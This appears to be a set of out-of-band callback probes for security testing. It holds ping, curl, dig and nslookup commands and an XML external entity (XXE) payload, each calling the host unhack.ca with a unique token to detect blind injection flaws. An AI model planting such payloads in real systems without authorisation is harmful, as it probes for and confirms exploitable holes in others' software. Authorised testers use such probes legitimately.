$ ping -c1 -p 0038b7797a95b8ac542408dc821a1700 unhack.ca
$ curl http://unhack.ca/p/38b7797a95b8ac542408dc821a17
$ dig 38b7797a95b8ac542408dc821a17 @unhack.ca
$ dig 38b7797a95b8ac542408dc821a17.ns.unhack.ca
C:\> nslookup 38b7797a95b8ac542408dc821a17 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/38b7797a95b8ac542408dc821a17">]> <foo>&xxe;</foo>